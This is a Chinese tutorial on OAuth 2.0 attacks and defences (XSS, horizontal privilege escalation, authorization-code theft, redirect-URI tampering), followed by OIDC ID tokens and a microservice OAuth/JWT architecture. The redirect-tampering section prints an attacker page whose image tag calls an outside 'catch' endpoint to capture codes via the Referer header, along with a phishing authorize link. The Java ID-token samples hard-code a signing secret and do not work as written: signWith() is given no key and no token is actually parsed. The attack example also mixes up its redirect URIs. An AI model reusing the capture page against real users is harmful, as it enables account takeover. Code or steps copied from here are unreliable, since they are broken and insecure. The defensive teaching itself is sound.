大多数情况下,受保护资源都是把输入的内容,比如 app_id invalid、access_token、invalid ,再回显一遍,这时就会被 XSS 攻击者捕获到机会。试想下,如果攻击者传入了一些恶意的、搜集用户数据的 JavaScript 代码,受保护资源服务直接原路返回到用户的页面上,那么当用户触发到这些代码的时候就会遭受到攻击

因此,受保护资源服务就需要对这类 XSS 漏洞做修复,而具体的修复方法跟其它网站防御
XSS 类似,最简单的方法就是对此类非法信息做转义过滤,比如对包含

<script><img><a>

等标签的信息进行转义过滤

8.3 水平越权

水平越权是指,在请求受保护资源服务数据的时候,服务端应用程序未校验这条数据是否归属于当前授权的请求用户,这样不法者用自己获得的授权来访问受保护资源服务的时候,就有可能获取其他用户的数据,导致水平越权漏洞问题的发生。攻击者可越权的操作有增加、删除、修改和查询,无论更新操作还是查询操作都有相当的危害性

以“小兔打单软件”为例,第三方开发者开发了这款打单软件,目前有两个商家 A 和商家 B 购买并使用。现在小兔打单软件上面提供了根据订单 ID 查询订单数据的功能,如下图所示:

在这里插入图片描述

商家 A 和商家 B 分别给小兔打单软件应用做了授权,也就是说,小兔打单软件可以获取商家 A 和商家 B 的订单数据。此时没有任何问题,那么商家 A 可以获取商家 B 的订单数据吗?答案是,极有可能的

在开放平台环境下,授权关系的校验是由一般由开放网关这一层来处理,因为受保护资源服务会散落在各个业务支持部门。请求数据通过开放网关之后由访问令牌 access_token 获取了用户的身份,比如商家 ID,就会透传到受保护资源服务,也就是上游接口提供方的系统

此时,如果受保护资源服务没有对商家 ID 和订单 ID 做归属判断,就有可能发生商家 A 获取商家 B 订单数据的问题,造成水平越权问题

在这里插入图片描述

发生水平越权问题的根本原因,还是开发人员的认知与意识不够。如果认知与意识跟得上,那在设计之初增加归属关系判断,比如上面提到的订单 ID 和商家 ID 的归属关系判断,就能在很大程度上避免这个漏洞

同时,在开放平台环境下,由于开放网关和数据接口提供方来自不同的业务部门,防止水平校验的逻辑处理很容易被遗漏:

  • 一方面,开放网关的作用是将用户授权之后的访问令牌 access_token 信息转换成真实的用户信息,比如上面提到的商家 ID,然后传递到接口提供方,数据归属判断逻辑只能在接口提供方内部处理
  • 另一方面,数据提供方往往会认为开放出的接口是被“跟自己一个公司的系统所调用的”,容易忽略水平校验的逻辑处理

以上,CSRF 攻击、XSS 攻击、水平越权这三种攻击类型,它们都属于 OAuth 2.0 面临的互联网非常常见的通用攻击类型,接下来,再来看两种 OAuth 2.0 专有的安全攻击,分别是授权码失窃、重定向 URI 被篡改

8.4 授权码失窃

如果第三方软件 A 有合法的 app_id 和 app_secret,那么当它去请求访问令牌的时候,也是合法的,这个时候没有任何问题

如果有一个用户 G 对第三方软件 B,进行授权并产生了一个授权码 codeB,但并没有对攻击者软件 A 授权。此时,软件 A 是不能访问用户 G 的所有数据的。但这时,如果软件 A 获取了这个 codeB,是不是就能够在没有获得用户 G 授权的情况下访问用户 G 的数据了?

这时问题的根源就在于两点:

  • 授权服务在进行授权码校验的时候,没有校验 app_id_B
  • 软件 B 使用过一次 codeB 的值之后,授权服务没有删除这个 codeB

看到这里,通过校验 app_id_B,并删除掉使用过一次的授权码及其对应的访问令牌,就可以从根本上来杜绝授权码失窃带来的危害了

说到这里可能要问了,授权码到底是怎么失窃的呢?

8.5 重定向 URI 被篡改

有的时候,授权服务提供方并没有对第三方软件的回调 URI 做完整性要求和完整性校验。比如,第三软件 B 的详细回调 URI 是 https://time.geekbang.org/callback,那么在完整性校验缺失的情况下,只要以
https://time.geekbang.org 开始的回调 URI 地址,都会被认为是合法的

此时,如果黑客在 https://time.geekbang.org/page/ 下,创建了一个页面 hacker.html。这个页面的内容可以很简单,其目的就是让请求能够抵达攻击者的服务

<html>
  <img src ="https://clientA.com/catch">
</html>

攻击流程如下:

首先,黑客将构造的攻击页面放到对应的 hacker.html 上,也就是 https://time.geekbang.org/page/hacker.html 上 ,同时构造出了一个新的重定向 URI,即
https://time.geekbang.org/page/welcome/back.html../hacker.html

然后,黑客利用一些钓鱼手段诱导用户,去点击下面的这个地址:

https://oauth-server.com/auth?respons_type=code&client_id=CLIENTID&redirect_uri=https://clientA.com/catch

这样当授权服务做出响应进行重定向请求的时候,授权码 code 就返回到了 hacker.html 这个页面上

最后,黑客在 https://clientA.com/catch 页面上,解析 Referrer 头部就会得到用户的授权码,继而就可以像授权码失窃的场景中那样去换取访问令牌了

看到这里可以知道,如果授权服务要求的回调 URI 是 https://time.geekbang.org/callback,并做了回调 URI 的完整性校验,那么被篡改之后的回调地址 https://time.geekbang.org/page/welcome/back.html../hacker.html 就不会被授权服务去发起重定向请求

严格来讲,要发生这样的漏洞问题,条件还是比较苛刻的。只要在授权服务验证第三方软件的请求时做了签名校验,那么攻击者在只拿到授权码 code 的情况下,仍然无法获取访问令牌,因为第三方软件只有通过访问令牌才能够访问用户的数据

9. 利用 OAuth 2.0 实现一个 OpenID Connect 用户身份认证协议

如果你是一个第三方软件开发者,在实现用户登录的逻辑时,除了可以让用户新注册一个账号再登录外,还可以接入微信、微博等平台,让用户使用自己的微信、微博账号去登录。同时,如果你的应用下面又有多个子应用,还可以让用户只登录一次就能访问所有的子应用,来提升用户体验

这就是联合登录和单点登录了。再继续深究,它们其实都是 OpenID Connect(简称 OIDC)的应用场景的实现。那 OIDC 又是什么呢?

9.1 OIDC 是什么?

OIDC 其实就是一种用户身份认证的开放标准。使用微信账号登录第三方 App 的场景,就是这种开放标准的实践

说到这里可能会问:“使用微信登录第三方 App 用的不是 OAuth 2.0 开放协议吗,怎么又扯上 OIDC 了呢?”

用微信登录某第三方软件,确实使用的是 OAuth 2.0。但 OAuth2.0 是一种授权协议,而不是身份认证协议。OIDC 才是身份认证协议,而且是基于 OAuth 2.0 来执行用户身份认证的互通协议。更概括地说,OIDC 就是直接基于 OAuth 2.0 构建的身份认证框架协议,换种表述方式,OIDC= 授权协议 + 身份认证,是 OAuth 2.0 的超集

9.2 OIDC 和 OAuth 2.0 的角色对应关系

OAuth 2.0 的授权码许可流程的运转,需要资源拥有者、第三方软件、授权服务、受保护资源这 4 个角色间的顺畅通信、配合才能够完成。如果要想在 OAuth 2.0 的授权码许可类型的基础上,来构建 OIDC 的话,这 4 个角色仍然要继续发挥 “它们的价值”。那么,这 4 个角色又是怎么对应到 OIDC 中的参与方的呢?

那么首先就要先想想一个关于身份认证的协议框架,应该有什么角色。它需要一个登录第三方软件的最终用户、一个第三方软件,以及一个认证服务来为这个用户提供身份证明的验证判断

这就是 OIDC 的三个主要角色了。在 OIDC 的官方标准框架中,这三个角色的名字是:

  1. EU(End User),代表最终用户
  2. RP(Relying Party),代表认证服务的依赖方,就是上面我提到的第三方软件
  3. OP(OpenID Provider),代表提供身份认证服务方

现在很多 App 都接入了微信登录,那么微信登录就是一个大的身份认证服务(OP)。一旦有了微信账号,就可以登录所有接入了微信登录体系的 App(RP),这就是常说的联合登录。借助极客时间的例子,来看一下 OAuth 2.0 的 4 个角色和 OIDC 的 3 个角色之间的对应关系:

在这里插入图片描述

9.3 OIDC 和 OAuth 2.0 的关键区别

看到这张角色对应关系图,其实可以看出,要实现一个 OIDC 协议,就是直接实现一个 OAuth 2.0 协议,OIDC 就是基于 OAuth 2.0 来实现的一个身份认证协议框架。OIDC 的通信流程图如下:

在这里插入图片描述

可以发现,一个基于授权码流程的 OIDC 协议流程,跟 OAuth 2.0 中的授权码许可的流程几乎完全一致,唯一的区别就是多返回了一个 ID_TOKEN,称之为 ID 令牌。这个令牌是身份认证的关键

9.4 OIDC 中的 ID 令牌生成和解析方法

在上图的 OIDC 通信流程的第 6 步,可以看到 ID 令牌(ID_TOKEN)和访问令牌(ACCESS_TOKEN)是一起返回的。访问令牌不需要被第三方软件解析,因为它对第三方软件来说是不透明的。但 ID 令牌需要能够被第三方软件解析出来,因为第三方软件需要获取 ID 令牌里面的内容,来处理用户的登录态逻辑

那 ID 令牌的内容是什么呢?

首先,ID 令牌是一个 JWT 格式的令牌。虽然 JWT 令牌是一种自包含信息体的令牌,为将其作为 ID 令牌带来了方便性,但是因为 ID 令牌需要能够标识出用户、失效时间等属性来达到身份认证的目的,所以要将其作为 OIDC 的 ID 令牌时,下面这 5 个 JWT 声明参数也是必须要有的:

  • iss,令牌的颁发者,其值就是身份认证服务(OP)的 URL
  • sub,令牌的主题,其值是一个能够代表最终用户(EU)的全局唯一标识符
  • aud,令牌的目标受众,其值是三方软件(RP)的 app_id
  • exp,令牌的到期时间戳,所有的 ID 令牌都会有一个过期时间
  • iat,颁发令牌的时间戳

生成 ID 令牌这部分的示例代码如下:

// GENATE ID TOKEN
String id_token=genrateIdToken(appId,user);
private String genrateIdToken(String appId,String user) {
    
    
	String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth"; //秘钥
	Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
	SignatureAlgorithm.HS256.getJcaName()); // 采用HS256算法
	Map<String, Object> headerMap = new HashMap<>(); // ID令牌的头部信息
	headerMap.put("typ", "JWT");
	headerMap.put("alg", "HS256");
	Map<String, Object> payloadMap = new HashMap<>(); // ID令牌的主体信息
	payloadMap.put("iss", "http://localhost:8081/");
	payloadMap.put("sub", user);
	payloadMap.put("aud", appId);
	payloadMap.put("exp", 1584105790703L);
	payloadMap.put("iat", 1584105948372L);

	return Jwts.builder().setHeaderParams(headerMap).setClaims(payloadMap).signWith();
}

接下来,再看看处理用户登录状态的逻辑是如何处理的

可以先试想一下,如果 “不跟 OIDC 扯上关系”,也就是 “单纯” 构建一个用户身份认证登录系统,是不是得保存用户登录的会话关系。一般的做法是,要么放在远程服务器上,要么写进浏览器的 cookie 中,同时为会话 ID 设置一个过期时间

但是,当有了一个 JWT 这样的结构化信息体的时候,尤其是包含了令牌的主题和过期时间后,不就是有了一个“天然”的会话关系信息么

所以,依靠 JWT 格式的 ID 令牌,就足以解决身份认证后的登录态问题。这也就是为什么在 OIDC 协议里面要返回 ID 令牌的原因,ID 令牌才是 OIDC 作为身份认证协议的关键所在

那么有了 ID 令牌后,第三方软件应该如何解析它呢?解析 ID 令牌的具体代码,如下:

private Map<String,String> parseJwt(String jwt) {
    
    
	String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth";
	Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
	SignatureAlgorithm.HS256.getJcaName()); // HS256算法
	Map<String,String> map = new HashMap<String, String>();
	Jws<Claims> claimsJws = Jwts.parserBuilder().setSigningKey(key).build();
	// 解析ID令牌主体信息
	Claims body = claimsJws.getBody();
	map.put("sub",body.getSubject());
	map.put("aud",body.getAudience());
	map.put("iss",body.getIssuer());
	map.put("exp",String.valueOf(body.getExpiration().getTime()));
	map.put("iat",String.valueOf(body.getIssuedAt().getTime()));

	return map;
}

需要特别指出的是,第三方软件解析并验证 ID 令牌的合法性之后,不需要将整个 JWT 信息保存下来,只需保留 JWT 中的 PAYLOAD(数据体)部分就可以了。因为正是这部分内容,包含了身份认证所需要的用户唯一标识等信息

另外,在验证 JWT 合法性的时候,因为 ID 令牌本身已经被身份认证服务(OP)的密钥签名过,所以关键的一点是合法性校验时需要做签名校验

这样当第三方软件(RP)拿到 ID 令牌之后,就已经获得了处理身份认证标识动作的信息,也就是拿到了那个能够唯一标识最终用户(EU)的 ID 值,比如 3521

9.5 用访问令牌获取 ID 令牌之外的信息

但是,为了提升第三方软件对用户的友好性,在页面上显示 “您好,3521” 肯定不如显示 “您好,小明同学”的体验好。这里的 “小明同学”,恰恰就是用户的昵称

那如何来获取“小明同学”这个昵称呢。这也很简单,就是通过返回的访问令牌 access_token 来重新发送一次请求。当然,这个流程现在也已经很熟悉了,它属于 OAuth 2.0 标准流程中的请求受保护资源服务的流程

这也就是为什么在 OIDC 协议里面,既返回 ID 令牌又返回访问令牌的原因了。在保证用户身份认证功能的前提下,如果想获取更多的用户信息,就再通过访问令牌获取。在 OIDC 框架里,这部分内容叫做创建 UserInfo 端点和获取 UserInfo 信息

这样看下来,细粒度地去看 OIDC 的流程就是:生成 ID 令牌 -> 创建 UserInfo 端点 -> 解析 ID 令牌 -> 记录登录状态 -> 获取 UserInfo

用 OAuth 2.0 实现 OIDC 的最关键的方法是:在原有 OAuth 2.0 流程的基础上增加 ID 令牌和 UserInfo 端点,以保障 OIDC 中的第三方软件能够记录用户状态和获取用户详情的功能

因为第三方软件可以通过解析 ID 令牌的关键用户标识信息来记录用户状态,同时可以通过 Userinfo 端点来获取更详细的用户信息。有了用户态和用户信息,也就理所当然地实现了一个身份认证

9.6 单点登录

一个用户 G 要登录第三方软件 A,A 有三个子应用,域名分别是 a1.com、a2.com、a3.com。如果 A 想要为用户提供更流畅的登录体验,让用户 G 登录了 a1.com 之后也能顺利登录其他两个域名,就可以创建一个身份认证服务,来支持 a1.com、a2.com 和 a3.com 的登录。这就是常说的单点登录,“一次登录,畅通所有”

那么,可以使用 OIDC 协议标准来实现这样的单点登录吗?如下图所示,只需要让第三方软件(RP)重复前面所说的 OIDC 的通信流程就可以了

在这里插入图片描述

单点登录就是 OIDC 的一种具体应用方式,只要掌握了 OIDC 框架的原理,实现单点登录就不在话下了

9.7 总结

1、OAuth 2.0 不是一个身份认证协议,一定要记住这点。身份认证强调的是“谁的问题”,而 OAuth2.0 强调的是授权,是“可不可以”的问题。但是,可以在 OAuth2.0 的基础上,通过增加 ID 令牌来获取用户的唯一标识,从而就能够去实现一个身份认证协议

2、有些 App 不想非常麻烦地自己设计一套注册和登录认证流程,就会寻求统一的解决方案,然后势必会出现一个平台来收揽所有类似的认证登录场景。再反过来理解也是成立的。如果有个拥有海量用户的、大流量的访问平台,来提供一套统一的登录认证服务,让其他第三方应用来对接,不就可以解决一个用户使用同一个账号来登录众多第三方 App 的问题了吗?而 OIDC,就是这样的登录认证场景的开放解决方案

在一些较大的、已经具备身份认证服务的平台上,你可能并没有发现 OIDC 的描述,但大可不必纠结。有时候,我们可能会困惑于,到底是先有 OIDC 这样的标准,还是先有类似微信登录这样的身份认证实现方式呢?

其实,要理解这层先后关系,可以拿设计模式来举例。当你想设计一个较为松耦合、可扩展的系统时,即使没有接触过设计模式,通过不断地尝试修改后,也会得出一个逐渐符合了设计模式那样“味道”的代码架构思路。理解 OIDC 解决身份认证问题的思路,也是同样的道理

10. 基于 OAuth 2.0/JWT 的微服务参考架构

从单体到微服务架构的演进,是当前企业数字化转型的一大趋势。OAuth 2.0 是当前业界标准的授权协议,它的核心是若干个针对不同场景的令牌颁发和管理流程;而 JWT 是一种轻量级、自包含的令牌,可用于在微服务间安全地传递用户信息

据目前了解到,虽然有不少企业已经部分或全部转型到微服务架构,但是在授权认证机制方面,它们一般都是定制自研的,比方说携程和拍拍贷的令牌服务。之所以定制自研,主要原因在于标准的 OAuth 2.0 协议相对比较复杂,门槛也比较高。定制自研固然可以暂时解决企业的问题,但是不具备通用性,也可能有很多潜在的安全风险

到底应该如何将行业标准的 OAuth 2.0/JWT 和微服务集成起来呢,又有没有可落地的参考架构呢?

针对这个问题,这里就分享一种可落地的参考架构。不过要提前说明的是,这个架构的思想源于 MICRO-SERVICES ARCHITECTURE WITH OAUTH2 AND JWT –PART 1 – OVERVIEW 这篇文章。根据原作者 Thijs 的描述,他提出的架构已经在企业落地架构了

Thijs 给出的架构确实具有可落地性和参考价值,但是他的架构里面对某些微服务层次的命名,例如 BFF 和 Facade 层,和目前主流的微服务架构不符,还有他的架构应该是手绘,不够清晰,也不容易理解。为此,下面来改进 Thijs 给出的架构,并补充针对不同场景的流程

假定有这样一家叫 ACME 的新零售公司,它已经实现了数字化转型,微服务电商平台是支持业务运作的核心基础设施。在业务架构方面,ACME 有近千家线下门店,这些门店通过 POS 系统和电商平台对接。公司还有一些物流发货中心,拣选(Order Picking)系统也要和电商平台对接。另外,公司还有很多送货司机,通过 App 和电商平台对接。当然,ACME 还有一些电商网站,做线上营销和销售,这些网站是电商平台的主要流量源

虽然支持 ACME 公司业务运作的技术平台很复杂,但是它的核心可以用一个简化的微服务架构图来描述:

在这里插入图片描述

可以看出,这个微服务架构是运行在 Kubernetes 集群中的。当然,这个架构实际上并不一定需要 Kubernetes 环境,用传统数据中心也可以。另外,它的整体认证授权架构是基于 OAuth 2.0/JWT 实现的

10.1 微服务分层架构

ACME 公司的微服务架构,大致可以分为 Nginx 反向代理层、Web 应用层、Gateway 网关层、BEF 层和领域服务层,还包括一个 IDP 服务。总体上讲,这是一种目前主流的微服务架构分层方式,每一层职责单一、清晰

1、Nginx 反向代理层

首先,Nginx 集群是整个平台的流量入口。Nginx 是 7 层 HTTP 反向代理,主要功能是实现反向路由,也就是将外部流量根据 HOST 主机头或者 PATH,路由到不同的后端,比方说路由到 Web 应用,或者直接到网关 Gateway

在 Kubernetes 体系中,Nginx 是和 Ingress Controller(入口控制器)配合工作的(总称为 Nginx Ingress),Ingress Controller 支持通过 Ingress Rules,配置 Nginx 的路由规则

2、Web 应用层

这一层主要是一些 Web 应用,html/css/js 等资源就住在这一层

Web 服务层通常采用传统的 Web MVC + 模版引擎方式处理,可以实现服务器端渲染,也可以采用单页 SPA 方式。这一层主要由公司的前端团队负责,通常会使用 Node.js 技术栈来实现,也可以采用 Spring MVC 技术栈实现。具体怎么实现,要看公司的前端团队更擅长哪种技术。当这一层需要后台数据时,可以通过网关调用后台服务获取数据

3、Gateway 网关层

这一层是微服务调用流量的入口。网关的主要职责是反向路由,也就是将前端请求根据 HOST 主机头、或者 PATH、或者查询参数,路由到后端目标微服务(比如,图中的 IDP/BFF 或者直接到领域服务)

另外,网关还承担两个重要的安全职责:

  • 一个是令牌的校验和转换,将前端传递过来的 OAuth 2.0 访问令牌,通过调用 IDP 进行校验,并转换为包含用户和权限信息的 JWT 令牌,再将 JWT 令牌向后台微服务传递
  • 另外一个是权限校验,网关的路由表可以和 OAuth 2.0 的 Scope 进行关联。这样,网关根据请求令牌中的权限范围 Scope,就可以判断请求是否具有调用后台服务的权限

另外,网关还需承担集中式限流、日志监控,以及支持 CORS 等功能

4、IDP 服务

IDP 是 Identity Provider 的简称,主要负责 OAuth 2.0 授权协议处理,OAuth 2.0 和 JWT 令牌颁发和管理,以及用户认证等功能。IDP 使用后台的 Login-Service 进行用户认证

对于 IDP 的技术选型,当前主流的 Spring Security OAuth,或者 RedHat 开源的 KeyCloak,都可以考虑。其中,Spring Security OAuth 是一个 OAuth 2.0 的开发框架,适合企业定制。KeyCloak 则是一个开箱即用的 OAuth 2.0/OIDC 产品

5、BFF 层

BFF 是 Backend for Frontend 的简称,主要实现对后台领域服务的聚合(Aggregation,有点类似数据库的 Join)功能,同时为不同的前端体验(PC/Mobile/开放平台等)提供更友好的 API 和数据格式

BFF 中可以包含一些业务逻辑,甚至还可以有自己的数据库存储。通常,BFF 要调用两个或两个以上的领域服务,甚至还可能调用其它的 BFF(当然一般并不建议这样调用,因为这样会让调用关系变得错综复杂,无法理解)

如果 BFF 需要获取调用用户或者 OAuth 2.0 Scope 相关信息,它可以从传递过来的 JWT令牌中直接获取

BFF 服务可以用 Node.js 开发,也可以用 Java/Spring 等框架开发。

6、领域服务层

领域服务层在整个微服务架构的底层。这些服务包含业务逻辑,通常有自己独立的数据库存储,还可以根据需要调用外部的服务

根据微服务分层原则,领域服务禁止调用其它的领域服务,更不允许反向调用 BFF 服务。这样做是为了保持微服务职责单一(Single Responsibility)和有界上下文(Bounded Context),避免复杂的领域依赖。领域服务是独立的开发、测试和发布单位。在电商领域,常见的领域服务有用户服务、商品服务、订单服务和支付服务等

和 BFF 一样,如果领域服务需要获取调用用户或者 OAuth 2.0 Scope 相关信息,它可以从传递过来的 JWT 令牌中直接获取

可以看到,领域服务和 BFF 服务都是无状态的,它们本身并不存储用户状态,而是通过传递过来的 JWT 数据获取用户信息。所以在整个架构中,微服务都是无状态、可以按需水平扩展的,状态要么存在用户端(浏览器或者手机 App 中),要么存在集中的数据库中

10.2 OAuth 2.0/JWT 如何与微服务进行集成?

10.2.1 第一方 Web 应用 + 资源拥有者凭据模式

这个场景是用户访问 ACME 公司自己的电商网站,假设这个电商网站是用 Spring MVC 开发的。考虑到这是一个第一方场景(也就是公司自己开发的网站应用),可以选 OAuth 2.0 的资源拥有者凭据许可(Resource Owner Password Credentials Grant),也可以选更安全的授权码许可(Authorization Code Grant)。因为这里没有第三方的概念,所以就选相对简单的资源拥有者凭据许可

下面是一个认证授权流程样例。注意,这个只是突出了关键步骤,实际生产的话,还有很多需要完善和优化的地方。另外,为描述简单,这里假定一个成功流程:

在这里插入图片描述

在上面的图中,用户对应 OAuth 2.0 中的资源拥有者,ACME IDP 对应 OAuth 2.0 中的授权服务。另外,前面架构图中的后台微服务(包括 BFF 和基础领域服务),对应 OAuth 2.0 中的受保护资源。流程说明如下:

  1. 用户通过浏览器访问 ACME 公司的电商网站,点击登录链接
  2. Web 应用返回登录界面(这个登录页可以是网站自己定制开发)
  3. 用户输入用户名、密码进行认证
  4. Web 应用将用户名、密码,通过网关转发到 IDP 的令牌获取端点(POST /oauth2/token,grant_type=password
  5. IDP 通过 Login Service 对用户进行认证
  6. IDP 认证通过,返回有效访问令牌(根据需要也可以返回刷新令牌)
  7. Web 应用接收到访问令牌,创建用户 Session,并将 OAuth 2.0 令牌保存其中,然后
    返回登录成功到用户端
  8. 用户浏览器中记录 Session Cookie,登录成功

接下来,我们再来看看认证授权之后的服务调用流程。同样,这里也只是突出了关键步骤,并假定是一个成功流程

在这里插入图片描述

  1. 用户登录后,在网站上点击查看自己的购物历史记录
  2. Web 应用通过网关调用后台 API(查询用户的购物历史记录),请求 HTTP header 中带上 OAuth 2.0 令牌(来自用户 Session)
  3. 网关截取 OAuth 2.0 令牌,去 IDP 进行校验
  4. IDP 校验令牌通过,再通过令牌查询用户和 Scope 信息,构建 JWT 令牌,返回
  5. 网关获得 JWT 令牌,校验 Scope 是否有权限调用 API,如果有就转发到后台 API 进行调用
  6. 后台 BFF(或者领域服务)通过传递过来的 JWT 获取用户信息,根据用户 ID 查询购物历史记录,返回
  7. Web 应用获得用户的购物历史数据,可以根据需要缓存在 Session 中,再返回用户端
  8. 购物历史数据返回到用户浏览器端

这个服务调用流程,也可以应用在其他场景中,比如后面讲到的“第一方移动应用 + 授权码许可模式”和“第三方 Web 应用 + 授权码许可模式”。基本上只要理解了这个流程原理,就可以根据实际场景灵活套用

10.2.2 第一方移动应用 + 授权码许可模式

用户通过手机访问 ACME 公司自己的电商 App。这是第一方的原生应用(Native App)场景,通常考虑选用 OAuth 2.0 的用户名密码模式,但是并不安全(参考 MICRO-SERVICES ARCHITECTURE WITH OAUTH2 AND JWT – PART 3 – IDP 的 Security Consideration 部分),所以业界建议采用授权码模式,而且是要支持 PKCE 扩展的授权码模式

接下来来看看这个认证授权的流程。同样,这里只是突出了关键步骤,并假定是一个成功流程

在这里插入图片描述

  1. 用户访问电商 App,点击登录
  2. App 生成 PKCE 相关的 code verifier + challenge
  3. App 以内嵌方式启动手机浏览器,访问 IDP 的统一认证页 (GET /authorize),请求带上 PKCE 的 code challenge 相关参数
  4. IDP 返回统一认证页
  5. 用户认证和授权
  6. IDP 通过 Login Service 对用户进行认证
  7. IDP 返回授权码到 App 浏览器
  8. App 截取浏览器带回的授权码,将授权码 +PKCE code verifer,通过网关转发到 IDP
    的令牌获取端点(POST /oauth2/token, grant_type=authorization-code)
  9. IDP 校验 PKCE 和授权码,校验通过则返回有效访问令牌
  10. App 获取令牌,本地存储,登录成功

之后,App 如果需要和后台交互,可直接通过网关调用后台微服务,请求 HTTP header 中带上 OAuth 2.0 访问令牌即可。后续的服务调用流程,和“第一方应用 + 资源拥有者凭据模式”类似

10.2.3 第三方 Web 应用 + 授权码模式

某第三方合作厂商开发了一个 Web 网站,要访问 ACME 公司的电商开放平台 API。这是一个第三方 Web 应用场景,通常选用 OAuth 2.0 的授权码许可模式

来看看这个认证授权的流程。同样,这里只是突出了关键步骤,并假设是一个成功流程

在这里插入图片描述

  1. 用户访问这个第三方 Web 应用,点击登录链接
  2. Web 应用后台向 ACME 公司的 IDP 服务发送申请授权码请求(GET /authorize
  3. 用户被重定向到 ACME 公司的 IDP 统一登录页面
  4. 用户进行认证和授权
  5. IDP 通过 Login Service 对用户进行认证
  6. 认证和授权通过,IDP 返回授权码
  7. Web 应用获得授权码,再向 IDP 服务的令牌获取端点发起请求(POST /oauth2/token, grant_type=authorization-code
  8. IDP 校验授权码,校验通过则返回有效 OAuth 2.0 令牌(根据需要也可以返回刷新令牌)
  9. Web 应用创建用户 Session,将 OAuth 2.0 令牌保存在 Session 中,然后返回登录成功到用户端
  10. 用户浏览器中记录 Session Cookie,登录成功

之后,第三方 Web 应用如果需要和 ACME 电商平台交互,可直接通过网关调用微服务,请求 HTTP header 中带上 OAuth 2.0 访问令牌即可。后续的服务调用流程,和前面的“第一方应用 + 资源拥有者凭据模式”类似

10.2.4 额外说明

1、IDP 的 API 要支持从 OAuth 2.0 访问令牌到 JWT 令牌的互转

前面提到的集成架构采用 OAuth 2.0 访问令牌 + JWT 令牌的混合模式,中间需要实现 OAuth 2.0 访问令牌到 JWT 令牌的互转。这个互转 API 并非 OAuth 2.0 的标准,有些 IDP 产品(比方 Spring Security OAuth)可能并不支持,因此需要用户定制扩展

2、关于单页 SPA 应用场景

关于单页 SPA 应用场景,简单做法是采用隐式许可,但是这个模式是 OAuth 2.0 中比较不安全的,所以一般不建议采用。对于纯单页 SPA应用,业界推荐的做法是:

  • 如果浏览器支持 Web Crypto for PKCE,则可以考虑使用类似“第一方移动应用”场景下的授权码许可 +PKCE 扩展流程
  • 否则,考虑 SPA+ 传统 Web 混合(hybrid)模式,前端页面可以种在客户浏览器端中,但登录认证还是由后台 Web 站点配合实现,走类似“第一方 Web 应用”场景的资源拥有者凭据模式,或者“第三方 Web 应用”场景下的授权码许可模式

3、关于 SSO 单点登录场景

为了简化描述,上面的流程没有考虑 SSO 单点登录场景。如果要支持 Web SSO,那么各种应用场景都必须通过浏览器 +IDP 登录页集中登录,并且 IDP 要支持 Session,用于维护登录态。如果 IDP 以集群方式部署的话,还要考虑粘性 Sticky Session 或者集中式 Session

这样,当用户通过一个 Web 应用登录后,后续如果再用其它 Web 应用登录的话,只要 IDP 上的 Session 还存在,那么这个登录就可以自动完成,相当于单点登录

当然,如果要支持 SSO,IDP 的 Session Cookie 要种在 Web 应用的根域上,也就是说不同 Web 应用的根域必须相同,否则会有跨域问题

4、IDP 和网关的部署方式

前面的几张架构图中,IDP 虽然躲在网关后面,但实际上 IDP 可以直接通过 Nginx 对外暴露,不经过网关。或者,IDP 的登录授权页面,可以通过 Nginx 直接暴露,API 接口则走网关

5、刷新令牌

为了简化描述,上面的流程没有详细说明刷新令牌的集成方式。企业根据场景需要,可以启用刷新令牌,来延长用户的登录时间,具体的集成方式需要考虑安全性的需求

6、Web Session

为了简化描述,在上面的流程中,Web 应用登录成功后假设启用 Web Session,也就是服务器端 Session。在实际场景中,Web Session 并非唯一选择,也可以采用简单的客户端 Session 方式,也称无状态 Session,也就是在客户端浏览器 Cookie 中保存 OAuth 2.0 访问令牌

10.3 总结

1、目前主流的微服务架构大致可以分为 5 层,分别是:Nginx 流量接入层 -> Web 应用层 -> API 网关层 -> BFF 聚合层 -> 领域服务层。这个架构可以住在云原生的 Kubernetes 环境中,也可以住在传统数据中心里头

2、API 网关是微服务调用的入口,承担重要的安全认证和鉴权功能。主要的安全操作包括:

  1. 通过 IDP 校验 OAuth 2.0 访问令牌,并获取带用户和权限信息的 JWT 令牌
  2. 基于 OAuth 2.0 的 Scope 对 API 调用进行鉴权

3、在微服务架构体系下,通常需要一个集中的 IDP 服务,它相当于一个 Authentication & Authorization as a Service 角色,负责令牌颁发 / 校验 / 管理,还有用户认证

4、在前面提出的架构中,Web 应用层(网关之前)的安全机制主要基于 OAuth 2.0 访问令牌实现(它是一种透明令牌或者称引用令牌),微服务层(网关之后)的安全机制主要基于 JWT 令牌实现(它是一种不透明的自包含令牌)。网关层在中间实现两种令牌的转换。这是一种 OAuth 2.0 访问令牌 +JWT 令牌的混合模式

之所以这样设计,是因为 Web 层靠近用户端,如果采用 JWT 令牌,会暴露用户信息,有一定的安全风险,所以采用 OAuth 2.0 访问令牌,它是一个无意义随机字符串。而在网关之后,安全风险相对低,同时很多服务需要用户信息,所以采用自包含用户信息的 JWT 令牌更合适

当然,如果企业内网没有特别的安全考量,也可以直接传递完全透明的用户信息(例如使用 JSON 格式)

11. 各大开放平台是如何使用 OAuth 2.0 的?

在前面,提到了很多次“开放平台”,不难理解,它的作用就是企业把自己的业务能力主要以开放 API 的形式,赋能给外部开发者。而作为第三方开发者或者 ISV(独立软件供应商)在接入这些开放平台的时候,我们最应该关心的就是它们的官方文档,关注接入的流程是怎样的、对应的 API 是什么、每个 API 都传递哪些参数,也就差不多够了

到这里,你会发现“开放平台的官方文档”会是一个关键点。不过呢,当你去各大开放平台上面看这些文档的时候,就会发现这些文档非常分散

其中的原因也很简单,那就是开放平台为了让已经具备 OAuth 2.0 知识的研发人员去快速地对接平台上面的业务,把各类对接流程做了分类归档。比如,你会发现微信开放平台上有使用授权码获取授权信息的文档,也有获取令牌的文档,但并没有一份整体的、能够串起来的文档说明。这其实也就间接提高了使用门槛,因为如果不懂OAuth 2.0,基本是没办法理解那些分类的

接下来,就说说以京东、微信、支付宝、美团为代表的各大开放平台是如何使用 OAuth 2.0 的。理解了这个问题,以后再对接一个开放平台、再阅读一份官方对接文档时,就更能明白它们的底层逻辑了

在正式介绍各大开放平台的使用细节之前,先来看看大厂的开放平台全局体系。各个开放平台基本的系统结构和授权系统在中间的交互流程,大同小异,都是通过授权服务来授权,通过网关来鉴权。所以接下来就以京东商家开放平台为例,来看看开放平台的体系到底是什么样子的

11.1 开放平台体系是什么样子的?

首先来看一下京东商家开放平台全局体系的结构,如下图所示:

在这里插入图片描述

